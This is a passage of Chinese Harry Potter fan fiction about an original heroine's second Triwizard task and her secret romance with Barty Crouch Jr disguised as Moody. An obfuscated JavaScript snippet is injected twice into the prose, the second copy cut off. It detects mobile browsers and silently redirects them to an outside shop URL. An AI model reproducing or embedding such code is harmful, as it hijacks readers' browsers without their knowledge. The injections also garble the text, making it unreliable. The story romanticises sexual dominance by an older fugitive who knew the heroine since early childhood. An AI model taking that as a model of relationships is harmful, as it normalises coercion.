城堡的场地上仍然覆盖着厚厚的积雪,暖房的窗户上凝结着细密的水珠,莉安下了草药课,回到礼堂吃午饭,今天是鲜美的炖鸡汤,她用长柄勺舀了一些到自己的盘子里,又侧着身子问旁边两个活宝。 “霍格沃茨的厨房怎么走?” 毕竟他俩经常从厨房偷来不少好吃的。 “很方便,”弗雷德说,“它藏在去地下教室方向的另一条楼梯下面,到了那里的走廊,墙上有很多画,厨房就在画着一碗水果的那幅画后面,只要轻轻挠一挠画上那个梨子,它就会吃吃发笑,然后门就开了。” “你是想吃夜宵吗?”乔治笑嘻嘻的望着她,他憋出一种尖细刺耳的声音,模仿家养小精灵,“‘我们可以为你准备一切,巫师先生,什么都行!’他们真是热心啊…只要我一说我有点儿饿了,他们就会给我烤一头牛。” 赫敏从长桌那头瞪了他们一眼。 “我打算学点家务魔法,小精灵这些天做的法国菜很不错,比英国菜好很多,”莉安望着教师席上也在喝鸡汤的穆迪,表情柔和了些许,“毕业后我还打算经常去陋居看看姑妈,她的家务魔法可是顶尖的。” “那妈妈会很开心的,”弗雷德模仿着莫丽焦虑的声音,“噢,我可怜的莉安小宝贝,是不是没人照顾她呢?她参加了那场争霸赛,唉,原来她已经成年了,可我总觉得她还那么小,就像昨天一样…哦,上帝保佑,希望她在比赛中一切顺利,她是最优秀的普威特…” “你们两个…”莉安摇了摇头,然后装作不经意的问道,“比尔这阵子有没有给你们写信?” “没有,”弗雷德吃惊的说,“我们在忙订货的事,很久没跟他联系了。” “你怎么会问我们,”乔治一针见血的说,“你们是不是出问题了?” “我只是和他谈了谈,但是他没有回信,”莉安愣了片刻,很快又遮掩过去,“没关系,这不是什么大不了的问题。” 弗雷德偷偷摸摸的瞄了瞄长桌,见罗恩仍然在跟赫敏因为舞伴的事赌气而大吃大喝,这才问道,“你毕业后打算去埃及吗?” 莉安摇摇头,“不,我留在英国。” “那比尔…” “他应该会回去,”莉安笑了笑,“毕竟他很喜欢解咒员这份工作,不是吗?” 乔治敏锐的察觉到这两人之间绝对出了什么问题,但他也意识到这是他们不该问的,毕竟妈妈那关可不好过,如果他们之中有一个人打算放弃,倒也在情理之中。 韦斯莱家族并不看重血统,便不会为了维持纯粹的血脉选择近亲结婚,所以无论是莫丽还是亚瑟,恐怕都不会赞同他们在一起。 莉安想到自己在圣诞节后立刻给比尔去了信,诚恳的和他提分手,但是一直没有收到回信,心猛地沉了下去。 她没办法爱两个人,小巴蒂十几年前闯进了她的房子,她永远无法忘怀他对她做过的事,而十三年后的某一天,他又像一个孩子一样来寻求安慰和帮助,强势的入侵了她的房子、她的家、她的身体、她的心,他把他的悲哀也变成了她的悲哀,而她并不知道能不能帮他承受住那种悲哀。 但就像她说的,可怜,无论小巴蒂多么像个神经病,他疯疯癫癫的外表下永远藏着一段最悲惨的人生,可怜。 所以她原谅了他冒冒失失的举动。 她可怜他,也爱他。 她想起来这些日子他们的夜晚,他教导她,在办公室里亲亲密密的说爱的悄悄话,她一次又一次试图避开令人不安的想法,比如他伪装穆迪到底想做什么,他会不会被人揭穿,如果真的暴露他又该怎么办,但他们两个聊天时,极有默契的避开了这些话题,只是在彼此身上索取爱,就像两个孤儿紧紧的依靠着彼此,他给了她很多糖果和点心——她喜欢这样。 她有意无意的转了转左手无名指的戒指,这是小巴蒂送的圣诞礼物,圣诞假期后她终于回了宿舍,从床底下找到了那个包裹,撕开包装纸后,发现是一个很小的天鹅绒盒子,当她打开盒子时,这枚戒指上亮闪闪的石头正对她闪着光。 虽然它是透明的,不像蛋白石那样漂亮华丽,但这就是她收到的最好的礼物。 她是可笑的,还是真的沉浸在梦幻之中?她的生活被他赋予了一个炽热的光环,如果没有他的注视,她还没察觉到自己已经沦陷的越来越深。 但她曾想象过类似的事情会发生,在她一天天长大的时候,她望着他的照片,想到那个初见的夜晚,终于有个人能抱着她,把狂风暴雨挡在外面了。 他在她最无助、最惶恐、最不安的时候犹如使用了一个神奇的魔法把戏,突然从天而降,把需要人陪伴的她紧紧抱住,从此后,他便永远笼罩着那个打雷下雨的夜晚。 但是他已经死了,她不允许自己再胡思乱想,就像她无法相信她希望遇到一个人陪着她就能遇到是纯粹的运气,下一秒这运气就被拿走,她只能保持沉默,告诉自己这已经很幸运了。 现在,十三年之后,它突然发生了——就好像她最不可实现的愿望和一个乐于助人但有时脾气暴躁、一直帮她成事的神之间的秘密结盟。 啊,无可救药的莉安·普威特,爱上了一个罪大恶极的食死徒。 这天晚上,穆迪罕见的停了训练,用隐形衣罩着莉安,带她来到了城堡六楼的糊涂波里斯的雕像前——这是一个表情茫然的巫师,两只手上的手套戴反了,他们走到旁边的第四个门。 “新鲜凤梨。” 门吱呀一声开了,穆迪推着她进去,又回身把门锁好,莉安脱掉隐形衣,四下张望着。 这是级长浴室,一个点着蜡烛的豪华枝形吊灯给房间里投下温馨的柔光,每件东西都是用雪白的大理石做成的,包括中间那个陷入地面的浴池,它就像一个长方形的游泳池。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13727478|144974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 浴池边上大约有一百个金色的水龙头,每个水龙头的把手上都镶着一块不同颜色的宝石,此外还有一块跳水板,窗户上挂着雪白的亚麻窗帘,一大堆松软的白毛巾放在一个墙角,墙上只挂着一幅画,镶在镀金的镜框里,画上是一个金发的美人鱼,躺在岩石上睡得正香,长长的秀发拂在脸上,随着她的每一次呼吸微微颤抖着。 穆迪一瘸一拐的脚步声在四壁间回响,他把几条松软的毛巾和隐形衣放在浴池边,然后坐下来,摘掉假腿和魔眼,等着复方汤剂的变身时间过去,莉安已经被那些水龙头吸引了。 她把金蛋放下,拧开了几个水龙头,里面喷出来各种各样混着热水的泡泡浴液,其中一个水龙头喷出足球那么大的粉红色和蓝色的泡泡,另一个喷出晶莹剔透的、又密又厚的泡沫,她猜测这些泡沫会把她托在水面沉不下去。 第三个龙头喷出香味浓郁的紫色雾气,在水面上弥漫着,莉安一会儿开一会儿关,欣赏下一个水龙头喷出弧形水柱、从水面划过的奇妙景象, 一转眼间,深深的浴池就放满了热水、泡沫和泡泡,她关掉所有的水龙头,脱掉校袍,又把拖鞋甩开,想要钻进水里。 小巴蒂来到她身后,帮她脱掉了身上最后的衣服,等她已经浮在水面上了,才开始脱自己的风衣。 水很深,不过莉安个子很高,只比小巴蒂矮小半个头,水面堪堪到她胸口的位置,在热腾腾的、浮着泡沫的水里游泳,周围漂浮着一团团五颜六色的雾气,这滋味很美妙,她在水里快乐的游了两个来回,才趴到池边,仔细端详着金蛋,但她并没有发现金蛋有什么不同。 小巴蒂从背后环着她,两人的身体紧紧的贴在一起,他伸出手臂,把金蛋放在布满泡沫的水面下,打开。 这次它没有惨叫,金蛋里发出汩汩的歌声,这歌声从水底下传来,听不清唱的是什么。 小巴蒂深深吸了口气,按住她的头,他们一起钻到了水下,两人坐在水底的大理石上,听见金蛋里有一些古怪的声音在齐声合唱: 寻找我们吧,在我们声音响起的地方, 我们在地面上无法歌唱。 当你搜寻时,请仔细思量: 我们抢走了你最心爱的宝贝。 你只有一个钟头的时间, 要寻找和夺回我们拿走的物件, 过了一小时便希望全无, 它已彻底消逝,永不出现。 他们浮上去,钻出飘满泡泡的水面,莉安踩在他脚上——她刚才憋得够呛。 “听见了吗?”小巴蒂的双手放在她腰上,“你必须去寻找那些不能在地面上发出声音的人…你猜猜,那可能是谁呢?” “嗯…水下…那就是黑湖,但湖里除了巨乌贼之外,还有什么东西呢?” “很多东西,我是斯莱特林,寝室在湖底,”小巴蒂慢条斯理的说,“从寝室和休息室的窗户上能看到很多有趣的东西,比如格林迪洛和一些水下生物,当然,还有最重要的一种半人类生物——” “是人鱼。”莉安脑中灵光乍现,目光落到墙上那幅酣睡的美人鱼的图画上。 “聪明,”小巴蒂毫不吝啬的夸奖她,“我真希望愚蠢的波特不会花太长的时间,如果他白天来这里的话,大概会加快他的思考速度,因为那时候她是醒着的。” 他扬头示意那幅美人鱼的画,露出一种十分反感的表情,“但这有个前提,当波特看到她搔首弄姿、炫耀她的鳍时,脑子里还能思考。” “所以第二个项目是到湖里去找人鱼,”莉安没在意他对哈利的吐槽,仔细思索着,“然后…找回被抢走的最心爱的宝贝…” 她又在思索人鱼的那首歌了,最心爱的宝贝是什么呢?这似乎是说人鱼要偷走她的东西,她必须夺回来,可它们要拿走的到底是什么呢? 她的目光逐渐落在面前的男人身上。 小巴蒂摸摸她的脸,把她金色的长卷发捋到耳后,她多么喜欢此刻他触摸自己的方式,而不是粗暴的揉捏或者搓磨,或者更确切的说,只是听他说话,在他磁性的金属般的声音在她身边响起时,伴随着温柔的动作和注视,她就会很开心了。 “它们会把你抓走吗?” “我猜巴格曼倒是很乐意这么做,但是麦格和邓布利多一定会阻止他的,”小巴蒂被她认为自己是她最心爱的宝贝的思想取悦了,他肆意的挑挑眉,饶有兴趣的说,“宝贝的确是人,但只能是学生,不能是教授,我到时候要在岸边巡逻,保证你的安全,所以‘穆迪教授’不可能被放在水下。” “那好吧,”莉安松了口气,“那一定就是乔治咯,我真怕抢不回来,你就永远消失了。” “骗你们的,就算比赛失败,‘宝贝’也不会出问题,”小巴蒂被她逗笑了,凑到她耳边用暧昧的、低沉的声音说,“快,我的好女孩儿,给叔叔看看你的守护神…” 莉安的脸变红了,她瞪了小巴蒂一眼,没有说话。 “那是我,是不是?我只是随口一说而已,你居然真的认为我的阿尼马格斯是奶牛猫,”小巴蒂把魔杖塞进她手里,催促道,“应该是狼才对,不过这不重要,让我看看它还是不是那只猫,要知道守护神可能会发生改变,这里有两个必要条件,一个是永恒的爱,另一个则是需要经历巨大的打击或是感情剧变。” 莉安试图用冷冷的眼神看着他,但小巴蒂嬉皮笑脸毫不在意,不停纠缠她,她实在拗不过,只好低声吐出了咒语。 一只银色的小猫咪从她的魔杖头上喷了出来,它转着圈的围着整间浴室撒欢,时不时扭扭屁股踢踢腿,神经病附体一样摆出各种对猫来说都有些不可思议的姿势,甚至它还会一瘸一拐的走路。 最终它的两个前爪抬起,侧着身子一蹦一蹦的回了她身边,化为一股银色烟雾消失了。 莉安:……真的好神经啊!这一定是魔法界最神经的守护神! 小巴蒂已经笑得仰躺在水面上,随着水流懒洋洋的飘来荡去。 “在你心里,我就是这么个形象?” “的确有点神经,你手又欠,”莉安小声嘀咕的说,“世界杯的时候你一直伸手摸我,跟它一样鬼鬼祟祟…” “哦?”小巴蒂慢吞吞的说,“可是你就喜欢我这样,除了十几年前那次相遇,让你对我有了特殊的情结,还有最重要的一点就是,你不喜欢正经的人,因为你很正经、正派,而正派的人总是容易被操纵,你有没有想过,正因为我是个坏人,你才会被我吸引。” “循规蹈矩的人内心里是渴望那些把自己的恶劣流于外表的人的,因为他们做不到,正如你一样,你喜欢我,因为你知道你永远也不可能像我,你只会在心里蠢蠢欲动,会幻想做个坏孩子,不去管那些家族的责任和父亲的声望,当然——仅仅是幻想。” 小巴蒂飘了回来,把发呆的莉安托起来,在她胸口上啃了几下,突然用力把她按进水里,让她趴在浴池边沿上,然后拉起手臂反折她的双手,轻轻摩挲着两个细细的手腕。 “我又帮了你一次,漫漫长夜,以身相许吧。” 浴室的窗外,月光落在大片铁灰色的阴冷的湖面上,它那黢黑而寒冷的水底像月亮一样遥不可及。 13. 人鱼 就像上次面对火龙之前一样,时间又在哗哗的溜走,仿佛有人给钟表施了魔法,让它们转得飞快,离2月24日还有一个星期了,莉安已经熟练的掌握了泡头咒,因为听到了赫敏想让哈利变形成潜水艇的对话,她突然对人体变形术感兴趣了,比如最近她和小巴蒂一直在提的阿尼马格斯。 其实六年级开始,变形术的提高班已经开始教授人体变形,但那也只是简单的人体易容,不能像易容马格斯那样随心所欲的改变容貌,所以她已经含了大半个月的曼德拉草叶子,把它塞进了牙缝里,不然叶子不小心被吞了下去,可是要重头再来。 “你最近牙疼是吗?”弗雷德看着她最近只吃汤类食物,关心的问。 “在学习一个很高深的咒语,就这样了,”莉安含含糊糊的说,“过一阵子就会好了。” 这时,一阵疯狂的翻书声传来,他们几个诧异的看着赫敏和哈利把一大堆书倒在长桌上,不停的寻找着什么。 “他解开了金蛋的秘密,是不是?”乔治小声嘀咕道。 “没错。”莉安心里补充了一句:我告诉他的。 小巴蒂说,如果她不帮忙告诉哈利如何发现金蛋的线索,恐怕这个学年结束他也找不到任何头绪,所以前几天,她偷偷暗示了哈利金蛋只能在水下打开,于是这几天,哈利带着他的两个小伙伴不停寻找水下呼吸的办法,看得她一阵心里发堵。 小巴蒂还说,他也暗示了哈利如何水下呼吸,但哈利傲慢自大,为了那点儿可笑的自尊不愿意寻求别人的帮助,就像他父亲那样愚蠢。 当时莉安皱了皱眉,她知道哈利的父母也是当年凤凰社的成员,被黑魔头杀死了,这并不是小巴蒂的罪行,所以她没有说话。 她望了望教师席上的穆迪,那只魔眼正在转来转去,打量着礼堂的人,而那只正常的眼睛在看着他盘子里的碎肉馅饼,她敏锐的发现了小巴蒂很喜欢芜菁牛肉口味的馅饼。 随着时间的推移,她发现自己爱这个疯子越来越多,而小巴蒂神经质的外表下,其实也有温柔的一面。 他跟她求婚呐…他到底哪来的自信,觉得她会嫁给一个食死徒逃犯?她未来难道要过着朝不保夕的日子,随时都会担心他被魔法部的人抓去让摄魂怪给他一个吻? 可是…她记得音乐声透过玻璃窗传进来,他把双手放在她的臀部,轻轻的旋转她的身体,在升起炉火的办公室中和她跳了几步舞,然后他抱着她,回到床上。 如果他们不是命中注定的恋人,她睡一觉就会忘掉一切,也不在乎受伤,就像她不在乎他会不会受伤一样,只是躺在床上,蜷着身子,两个人的身体拥抱在一起,无尽的柔情,就像伦敦嵌接在一起的两部分,他们之间的空隙就是泰晤士河,通过那座塔桥相连。 一切都非常谨慎多变、矫揉造作,她和他都这样的吗?还是只有她自己这样? 他让她整天魂牵梦萦。 从他触及了她生命的那一天开始,它就变了颜色,就像他最擅长厉火咒一样,他触摸了她身体哪一部分的皮肤,哪一部分就会永远燃烧。 看这儿,看见这手臂了吗?她躺着的时候被他用力按着,不让她逃跑,它一直都没有忘。 看见这只手了吗?它曾在他哭泣的时候帮他擦掉了湿漉漉的眼泪,他曾说过最喜欢它,那之后她的想法就不再一样了。 噢,这就是小巴蒂·克劳奇,戏剧性的、微妙的、甜蜜的、正在发生的。 像个狡猾的骗子,在已经被警告远离草地的情况下,还在灌木丛中乱打,他应该受到惩罚。 但她喜欢他。 即使如履薄冰,她的脚在流血,舌头也被束住了。 但她喜欢他。 晚上时,莉安满头黑线的看着身上的男人,他一边动作一边得意洋洋的拿着一张羊皮纸——自从她今晚进到这个办公室以来,他就一直在研究这个东西,仿佛那上面有什么令人着迷的古代魔法那样。 “我把你盖住了,原来做这种事的时候,一个人的名字可以把另一个人的名字完全盖住,一点儿也看不出来。” “什么?”莉安哑着嗓子问。 “这是张地图。” 小巴蒂缴械后,把累得瘫软的莉安搂进怀里,又把那张羊皮纸摊开,这张地图详尽的画出了霍格沃茨城堡和各场地的一切细节,但是,真正值得注意的东西是沿着地图移动的小小的墨水点,每个墨水点都用极小的字母标出一个姓名。 莉安大为惊讶,仰头细看,左上角的一个小墨水点显示邓布利多教授正在校长室里踱步,费尔奇的猫洛丽丝夫人正在六楼徘徊,而皮皮鬼正在奖品陈列室里大闹,她的眼睛在她所熟悉的走廊里上下扫动,这时,她又注意到了什么东西。 三楼的黑魔法防御术办公室里有两个小墨水点靠在一起:Barty Crouch和Rihan Prewett,两个名字叠在一起,半遮半掩,但莉安的神情凝重了起来。 “这东西是什么魔法物品?哪里来的?” “波特的,我差点儿露馅儿,”小巴蒂心有余悸的说,“那天晚上,我去斯内普的办公室偷了点儿材料,你也知道,复方汤剂的干非洲树蛇皮不太好弄到,结果,波特正好研究金蛋,拿着这张地图夜游,他看到了我的名字,就想来查看一下,然后卡在魔法台阶里了,地图正好掉在地上。” “看到你的名字?你?”莉安震惊的问。 “没错,这张地图有非常高深的显形咒,复方汤剂和人体变形术通通失效,”小巴蒂干脆的说,“如果不是我和老巴蒂的名字一样,恐怕已经暴露,我捡起地图的时候立刻发现了这一点,所以我跟波特借走了地图,它差点儿坏了我的大事。” “你到底要做什么呢?”莉安没管地图,而是担忧的看着他,“实在不行你就回去吧,如果你被邓布利多识破了,他一定会把你送回阿兹卡班。” “放心,你毕业了我就回去,和你一起回去,”小巴蒂挑高了眉毛,语气极度自信,“我的能力你还不相信吗?” “相信归相信,可我总是会担心你,”莉安躺回床上,捏住他的一条手臂,无奈的叹了口气,“我不知道你的打算,但是我希望你好好想一想,巴蒂,就算你父亲不在乎你,全世界都不在乎你,但是我在乎,哪怕我们立场不同…” “我知道,”小巴蒂很高兴听到她说出真心话,扬了扬眉毛,语调轻快,“但是明面上,我已经是个死人了,我当然不能永远以死人的身份活着,一辈子都见不到阳光,亲爱的,你等着看吧…我会成功的…” 他眼睛里闪烁着奇异的光芒,表情也变得疯疯癫癫,轻声的说,“我会让整个魔法界都记住我…” 莉安觉得有些恐惧,她抱紧了他的腰,表情茫然又惶恐。 他是个疯子,而疯子到底会做什么呢? 正常人是无法揣测疯子的想法的,自然也无法提前预防。 那只戴戒指的手落在了她身上,莉安不由自主的抓紧了它,就像在海中掀起风暴的夜晚,抓住了唯一一个浮标那样。 1995年2月24日,第二场比赛。 莉安吃过早饭,穿过两扇橡木大门,去参加第二个项目。 她来到了外面阳光明媚的寒冷的场地上,顺着草坪往下走时,看见去年十一月围着火龙场的那些座位,现在一层层的排在了湖对岸,已经是座无虚席,并在下面的湖里映出倒影。 裁判们坐在水边另外一张铺着金黄色桌布的桌子旁,珀西也在其中——老巴蒂·克劳奇又没出现。 芙蓉和克鲁姆已经在等着了,见到她,芙蓉傲慢的打了个招呼,克鲁姆仍然阴沉沉的,而哈利不见踪影。 距离比赛开始还有几分钟的时候,哈利终于出现了,他绕过湖拼命朝他们跑来,直到他跑到他们面前,才弯下腰,用手扶着膝盖,大口喘着气。 “我…我来了…”他上气不接下气的说,在泥地里一滑,不小心把芙蓉的长袍溅脏了。 “你上哪儿去了?”珀西盛气凌人的说,“比赛项目马上就要开始了!” “好了,好了,珀西!”巴格曼说,“让他喘口气吧!” 巴格曼来到勇士们中间,吩咐他们在岸边一字排开,每人间隔十英尺,莉安排在第二个,被芙蓉和克鲁姆夹在中间,他们三个默契的脱掉外袍,她和芙蓉穿着紧身泳衣,而克鲁姆穿着游泳裤,已经拿出魔杖,做好了准备。 巴格曼用魔杖指着自己的喉咙,用了洪声咒,于是他的声音就像雷鸣一样,掠过暗黑色的湖面传到看台上。 “大家听好,我们的勇士已经各就各位,我一吹口哨,第二个项目就开始,他们有整整一个小时的时间,夺回他们手里被抢走的东西,我数到三,一…二…三!” 尖厉的口哨声在寒冷、静止的空气中回响,看台上爆发出一阵欢呼和掌声,莉安魔杖指向自己,“Ebublio! ” 泡头咒在她的头部周围制造一个大气泡,看起来像是脑袋上倒扣了一只金鱼缸,她的五官看上去都被拉长加宽了,显得非常滑稽。 这个咒语可以在水下或者周围环境空气污浊时进行呼吸,或者隔绝周围的污浊空气。 一股凛冽的寒风把莉安的泡头吹得飘飘乎乎,她猛地跃入寒冷刺骨的湖水里,消失在黑色的水面上。 她潜入了湖底,在一片黑乎乎、朦朦胧胧的奇异景色中游来游去,耳边一片寂静,只能看见方圆十英尺内的情景,每游动一下,就有崭新的景色从前面的黑暗中突然浮现:波动、缠结的黑色水草构成的丛林,散落着闪闪发亮的小石子的宽阔平整的泥沙。 她越游越深,朝着湖中央前进,目光穿透灰亮的、诡谲的湖水,望着远处的黑影,那里的湖水是阴暗朦胧的。 小鱼儿敏捷的游过她身边,像一支支银色的飞镖,有一两次,她仿佛看见了一个巨乌贼正在前面移动,但等游近了一看,才发现那不过是一根黑乎乎的大木头,或是一团茂密纠结的水草。 游了十分钟后,前面出现了一片碧绿的水草,有两英尺深,突然,她的脚踝被什么东西一把抓住了,莉安回头一看,一个格林迪洛——丑陋的水怪,从水草中探出身体,长长的指甲紧紧抓住她的腿,嘴里露出尖尖的长牙。 她摸出魔杖,立刻又有两个格林迪洛从水草里钻了出来,抓住她的腿,拼命把她往下面拉。 “Oppugno! ”莉安喊出万弹齐发,于是,那些围着她游来游去的银色小鱼突然被她控制着,朝那三只格林迪洛扑去。 只见它们都被包围了,身体被小鱼不停啃噬,绿色的皮肤顿时被咬得伤痕累累,她把脚从格林迪洛的纠缠中挣脱出来,继续向前游去,其他格林迪洛听到同伴的哀嚎,畏惧的隐到水草中去了。 又游了至少二十分钟,现在水底是大片大片的黑色淤泥,湖水因为她的搅动泛起了黑乎乎的水涡,过了好久,她终于听见了人鱼那令人难忘的歌声。 “只有一个钟头的时间,要寻找和夺回我们拿走的物件…” 她游得更快了,前面浑浊的湖水里出现了一块大岩石,上面绘着许多人鱼,他们手里拿着长矛,正在追逐着巨乌贼,她从岩石旁游过,追寻着人鱼的歌声。 “…别再拖延,时间已过去一半,以免你寻找的东西在这里腐烂…” 突然,眼前赫然出现了许多粗糙的石头蜗居,上面斑斑点点的长着水藻,那些黑乎乎的窗户里有一些面孔,这些面孔与级长浴室里那幅画上的人鱼完全不一样。 人鱼的皮肤呈铁灰色,墨绿色的头发长长的,蓬蓬乱乱,他们的眼睛是黄色的,残缺不全的牙齿也是黄色的,脖子上戴着用粗绳子串起的卵石。 莉安游过时,他们不怀好意的笑着,有一两个为了看得更清楚些,还从洞穴里跑出来,手里拿着长矛,粗壮有力的银色鱼尾拍击着湖水。 她飞快的向前游去,石头蜗居越来越多了,有些蜗居周围还带有花园,甚至有一扇门前居然拴着一个小格林迪洛,人鱼从四面八方涌现出来,他们都好奇的望着她,冲着她的泡头指指点点,并用手掩着嘴窃窃私语。 她转了个弯,眼前是一片十分奇特的景象。 这儿似乎是人鱼村庄的广场,四周坐落着一些房子,房子前面漂浮着一大群人鱼,中间有一些人鱼在齐声歌唱,呼唤勇士过去,他们身后耸立着一座粗糙的雕像:一个用巨石雕刻成的大人鱼,在人鱼石像的尾巴上,牢牢地捆绑着四个人。 乔治被拴在赫敏和一个七八岁的银发小姑娘之间,最边上是罗恩,他们四个看上去都睡得很沉,脑袋无力的耷拉在肩膀上,嘴里不停的冒出一串细细的水泡。 莉安望了望四周,发现哈利已经到了,他手脚长着蹼,脸颊两侧有鱼鳃,正在跟人质周围的一个大人鱼搏斗。 “我们不能帮忙。”人鱼用沙哑低沉的声音说。 “拿来吧你!”哈利恶狠狠的去抢人鱼手里的长矛,但人鱼把长矛拽了回去,被他逗得哈哈大笑。 莉安摸了摸,把人质拴在雕像上的绳子是水草编的,又粗又滑,非常结实。 “Expulso! ” 湖底散落的岩石和沙子扬起,蓝色火光闪过,一条绳子被炸断了,她如法炮制,于是乔治和罗恩神志不清的浮在湖底上方几英寸的地方,随着水波飘来荡去。 “我想他们也快过来了,”莉安对哈利说,“祝你好运。” 她拉着乔治往上游去,乔治死沉死沉的,像一只装满土豆的口袋,拖着她往下沉,她眼睛望着上空,知道自己一定还在很深的水下,水面望上去还是漆黑一片。 她竭力往上游,沉甸甸的黑色已经越来越淡,可以看见上面的天光了… “Ascendio! ”莉安用了上升咒,这个咒语能让施咒者把自己抛向高空或在水中升到水面,于是她和怀中的乔治都在极速往水面上冲去。 她的头猛地露出了水面,美妙、清新、凉爽的空气拂过潮湿的脸颊,看台上人声鼎沸,又叫又嚷,一个个似乎全都站了起来,她拉着乔治往前游去。 乔治突然睁开了眼睛,吐出一大口湖水,在明亮的光线下眨了几下眼睛,便转向莉安,兴奋的说,“哎呀!真是新奇的体验,我能吹好多年!” 莉安莞尔一笑,这时他们已经离岸边很近了,于是直起身,蹚水走了过去。 裁判们都站在那里望着,庞弗雷夫人大惊小怪的给他们两个裹上厚厚的毯子,珀西急不可耐的冲过来迎接他们,围着乔治东看西看,乔治不耐烦的拨开了他。 与此同时,马克西姆夫人正在安慰芙蓉,芙蓉一见到莉安,立刻忧心忡忡的走了过来。 “加布丽!她受伤了吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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芙蓉也亲了他几口,赫敏看上去气得要命,这时,巴格曼那被魔法放大的声音在他们耳边突然响起,看台上的观众顿时安静下来。 “女士们,先生们,我们终于做出了决定,人鱼首领默库斯把湖底下发生的一切原原本本的告诉了我们,我们决定在满分为五十分的基础上,给各位勇士打分如下…” “芙蓉·德拉库尔尽管表现出了对泡头咒的出色运用,但在接近目标时遭到格林迪洛的攻击,未能成功解救人质,我们给她25分。” 看台上传来一片掌声。 “我应该得零分的。”芙蓉摇了摇头,声音沙哑的说。 “莉安·普威特也采用了泡头咒,她是第一个带着人质返回的,”人群中格兰芬多的学生们热烈欢呼,声音震耳欲聋,乔治也吹起了口哨,“因此,我们给她50分。” “威克多尔·克鲁姆运用了变形术,虽不完整,但仍然很有效,他是第二个带着人质返回的,迟到了两分钟,我们给他40分。” 卡卡洛夫巴掌拍得格外起劲,一副得意洋洋的样子。 “哈利·波特服用了鳃囊草,因此取得了惊人的效果,”巴格曼继续说道,“虽然他最后一个返回,远远超过了一小时的规定时间,然而,人鱼女首领告诉我们,波特先生是第一个找到人质的,他没能及时返回,是因为他要确保所有的人质都安全返回,而不是只关心他自己的人质。” “大多数裁判,”说到这里,巴格曼不满的扫了卡卡洛夫一眼,“觉得这充分体现了高尚的道德风范,所以波特先生的分数是45分!” 所有人开心的哈哈大笑,和其他观众一起拼命鼓起掌来。 芙蓉用力的拍着巴掌,但是克鲁姆显得很不高兴,他似乎想跟赫敏搭话,但赫敏只顾为哈利欢呼喝彩,根本不理睬他。 “第三个,也是最后一个项目将在6月24日傍晚进行,”巴格曼继续说道,“勇士们将提前一个月得知项目的具体内容,感谢大家对勇士们的支持。” 结束了,庞弗雷夫人护送勇士和人质们返回城堡,去换干爽的衣服,莉安望了望身旁一瘸一拐的穆迪,那张可怖的脸上露出一个扭曲的笑容。 换完干爽的衣服后,莉安来到了休息室,见其他同学又在准备今晚的庆祝晚会,她悄悄溜出洞口,下了大理石阶梯,往黑魔法防御术办公室狂奔。 门打开时,穆迪没有出现,等莉安关上门时,才发现小巴蒂已经显形,正站在门后,他的黑色风衣敞开着,微微张开手臂。 莉安扑进了他的怀里,“湖底真的很冷…” 小巴蒂抚摸她还有些湿漉漉的头发,莉安真觉得自己很喜欢他的心智,他像是她的南方直指的北方,他是知道她所有秘密的人,如一副手套的两只。 这意味着,或者说,像她希望的那样,他们可以待在家里,他们可以一起下厨,他们可以静坐到天黑,打开那盏枝形吊灯,或者星球熔岩灯,她甚至不敢动,因为她怕只要动一下,魔法就失灵了,他会消失。 她突然觉得,这个念头太蠢了,但这段日子是她迄今为止和另一个人在一起最快乐的时光,关于他的每个时刻都让她喜悦,于是她不假思索的吻上了他的嘴,生平第一次,她觉得自己好像是在侵犯他,或者被判定为企图侵犯他,而非他经常侵犯她那样,如果他这个时候推开她,她都不会震惊。 但小巴蒂是不会推开她的,他乐于见到她的主动,并且一天天越来越深的沉陷下去,沉入他的世界里。 如果有什么能让他们之间的身体接触变得如此稀松平常,这个吻就是了,他们已经达到可以随意触碰对方的程度,这是她提醒他的方式,从这一刻开始,不再有任何禁忌,他可以肆无忌惮的对她做他想做的事,任何事。 他从抱住她那一刻就无法松开手,他抱着她的头,亲吻她的唇,在她默默的开始脱下那条他买的羊绒披肩时,还把她的头压在他的肩上。 以前她只有小小一团,奶声奶气,故意绷紧了脸,她毫无征兆的咬了他一口,同时气呼呼的瞪着他,她肯定有很多话想说,但是她说不出来,他曾在祖宅看到过她压抑愤怒的时候,就像当年四岁的她那样。 但她现在只比他矮半个头,脸上带着他幻想中的柔情蜜意的表情,她并没有走远,就像一只在他身后关着的门上蹭背的猫一样,他必须推迟让它进来,因为猫总是欲迎还拒的,它必须为他着急,然后他才会改变主意,打开门,它就会立刻冲进来跳到他的腿上——她是这些年发生在他身上最好的事情。 “好了吗?” 他的嘴唇一定吻遍了她的喉咙,“你知道我有多开心吗?” 他知道她想让他放开她,可他不想放开她,他喜欢这样,他怕一旦放手,可能就再也不能触碰她了,很快,他们之间几秒钟之前还在冒泡的水一下就结成了几英里的裂着大缝的冰,在她的大陆和他遥远的海岸之间,形成一个古老的无人地带。 她放弃了,一只手臂滑进了他的臂弯。 他认出了这个手臂,这是她的手臂,甜蜜的、可爱的、他喜欢的——她的手臂。 “这不是梦,巴蒂,这不是梦,”她在他耳边轻声的说,“我们才刚刚开始。” 14. 弑父 复活节假期之后,天气愈发暖和了,几乎没有再下过雨,莉安担心自己为阿尼马格斯变身准备的水晶瓶等不到雷雨天,显得忧心忡忡了许多。 这些日子,她每次日出日落时都将魔杖尖端指向心脏,念出练习的咒语,她察觉到,在某个时刻,当她的魔杖尖端碰触到胸口时,已经可以感受到第二个心跳,有时比原本的心跳来得强烈,有时较微弱。 但即使如此,她也不能停止练习,每天咒语必须念出正确的次数,不能遗漏任何一次。 